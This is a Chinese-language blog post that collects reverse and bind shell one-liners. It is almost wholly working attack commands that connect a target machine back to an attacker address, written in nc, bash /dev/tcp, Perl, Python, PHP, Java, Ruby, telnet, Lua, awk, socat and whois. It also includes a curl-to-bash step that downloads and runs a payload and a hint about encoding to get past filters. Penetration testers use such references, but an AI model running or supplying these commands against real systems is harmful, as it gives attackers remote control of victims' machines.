反弹姿势
1、NC正向反弹
靶机:
nc -lvvp 靶机端口 -e /bin/sh
攻击机:
nc 靶机ip 靶机端口
2、NC反向反弹
(1)、可使用-e参数:
靶机:
nc x.x.x.x 8888 -e /bin/bash
攻击机:
nc -lvvp 8888
(2)、NC,无-e参数反弹shell
有些版本的NC可能不支持-e选项,不能使用-e,则:
方法一:
rm /tmp/f;mkfifo /tmp/f;cat /tmp/f | /bin/sh -i 2>&1 | nc x.x.x.x 8888 >/tmp/f
方法二:
mknod backpipe p; nc x.x.x.x 8888 0<backpipe | /bin/bash 1>backpipe 2>backpi
方法三:利用管道符直接反弹:
攻击者主机上打开两个终端分别执行监听:
nc -nvlp 6666
nc -nvlp 7777
靶机上执行连接:
nc x.x.x.x 6666|/bin/bash|x.x.x.x 7777
监听两个端口分别用来输入和输出,其中x.x.x.x均为攻击者ip,反弹shell成功后,在监听6666端口的终端中执行命令可以在另一个终端中看到命令执行结果。
(3)、Bash
靶机:
bash -i >& /dev/tcp/x.x.x.x/8888 0>&1
bash -i>& /dev/tcp/x.x.x.x/8888 0<&1
0>&1 和 0<&1 ,只是打开方式的不同,而对于这个文件描述符来讲并没有什么区别
延申:利用Java Runtime配合bash编码进行绕过。
(4)、exec绑定反弹
靶机:
exec 5<>/dev/tcp/x.x.x.x/8888;cat <&5 | while read line; do $line 2>&5 >&5; done
与之完全类似的还有下面这条指令:
0<&196;exec 196<>/dev/tcp/x.x.x.x/8888; sh <&196 >&196 2>&196
(5)、Perl
方法一:
perl -e 'use Socket;$i="x.x.x.x";$p=8888;socket(S,PF_INET,SOCK_STREAM,getprotobyname("tcp"));if(connect(S,sockaddr_in($p,inet_aton($i)))){open(STDIN,">&S");open(STDOUT,">&S");open(STDERR,">&S");exec("/bin/sh -i");};'
方法二(不依赖/bin/sh):
perl -MIO -e '$p=fork;exit,if($p);$c=new IO::Socket::INET(PeerAddr,"x.x.x.x:8888");STDIN->fdopen($c,r);$~->fdopen($c,w);system$_ while<>;'
方法三(Windows):
perl -MIO -e '$c=new IO::Socket::INET(PeerAddr,"x.x.x.x:8888");STDIN->fdopen($c,r);$~->fdopen($c,w);system$_ while<>;'
(6)、Python
python -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("x.x.x.x",8888));os.dup2(s.fileno(),0);os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);p=subprocess.call(["/bin/sh","-i"]);'
(7)、PHP
- 使用php的exec函数
php- 'exec("/bin/bash -i >& /dev/tcp/x.x.x.x/8888")'
- 使用php的fsockopen建立socket会话去连接远程
php -r '$sock=fsockopen("x.x.x.x",8888);exec("/bin/sh -i <&3 >&3 2>&3");'
(8)、Java
r = Runtime.getRuntime()
p = r.exec(["/bin/bash","-c","exec 5<>/dev/tcp/x.x.x.x/8888;cat <&5 2="" |="" while="" read="" line;="" do="" \$line="">&5 >&5; done"] as String[])
p.waitFor()
(9)、Ruby
方法一:
ruby -rsocket -e'f=TCPSocket.open("x.x.x.x",8888).to_i;exec sprintf("/bin/sh -i <&%d>&%d 2>&%d",f,f,f)'
方法二(不依赖 /bin/sh):
ruby -rsocket -e 'exit if fork;c=TCPSocket.new("x.x.x.x","8888");while(cmd=c.gets);IO.popen(cmd,"r"){|io|c.print io.read}end'
方法三(windows):
ruby -rsocket -e 'c=TCPSocket.new("x.x.x.x","8888");while(cmd=c.gets);IO.popen(cmd,"r"){|io|c.print io.read}end'
(10)、Telnet(NC不可用或者/dev/tcp不可用时)
方法一:
攻击机:
nc -lvvp 5555
nc -lvvp 6666
靶机:
telnet x.x.x.x 5555 | /bin/bash | telnet x.x.x.x 6666
方法二:
靶机:
rm -f a && mknod a p && telnet x.x.x.x 8888 0<a | /bin/bash 1>a
或
rm -f a;mknod a p;telnet x.x.x.x 8888 0<a | /bin/bash 1>a
(11)、其他
Lua
lua -e "require('socket');require('os');t=socket.tcp();t:connect('x.x.x.x','8888');os.execute('/bin/sh -i <&3 >&3 2>&3');"
AWK 反弹
注意:攻击的机器监听,在收到shell的时候不可以输入enter,不然会断开
awk 'BEGIN{s="/inet/tcp/0/x.x.x.x/8888";for(;s|&getline c;close(c))while(c|getline)print|&s;close(s)}'
socat反弹
socat exec:‘bash -li’,pty,stderr,setsid,sigint,sane tcp:x.x.x.x:8888
curl反弹
Kali开启apache服务,把bash命令写入html文件,只要文本包含bash一句话即可。
1)、python启动http
python -m SimpleHTTPServer 4444
2)、在目录下放置bash.html,bash里面直接写入反弹语句,如 :
cat bash.html
bash -i >& /dev/tcp/x.x.x.x /55555 0>&1
3)、靶机执行:
curl x.x.x.x:4444/bash.html|bash
4)、攻击机:
nc -lvvp 5555
whois反弹
whois -h x.x.x.x -p 4444 'whoami' //反弹的shell只能执行后面带的命令
版权声明:本文为qq_45600801原创文章,遵循CC 4.0 BY-SA版权协议,转载请附上原文出处链接和本声明。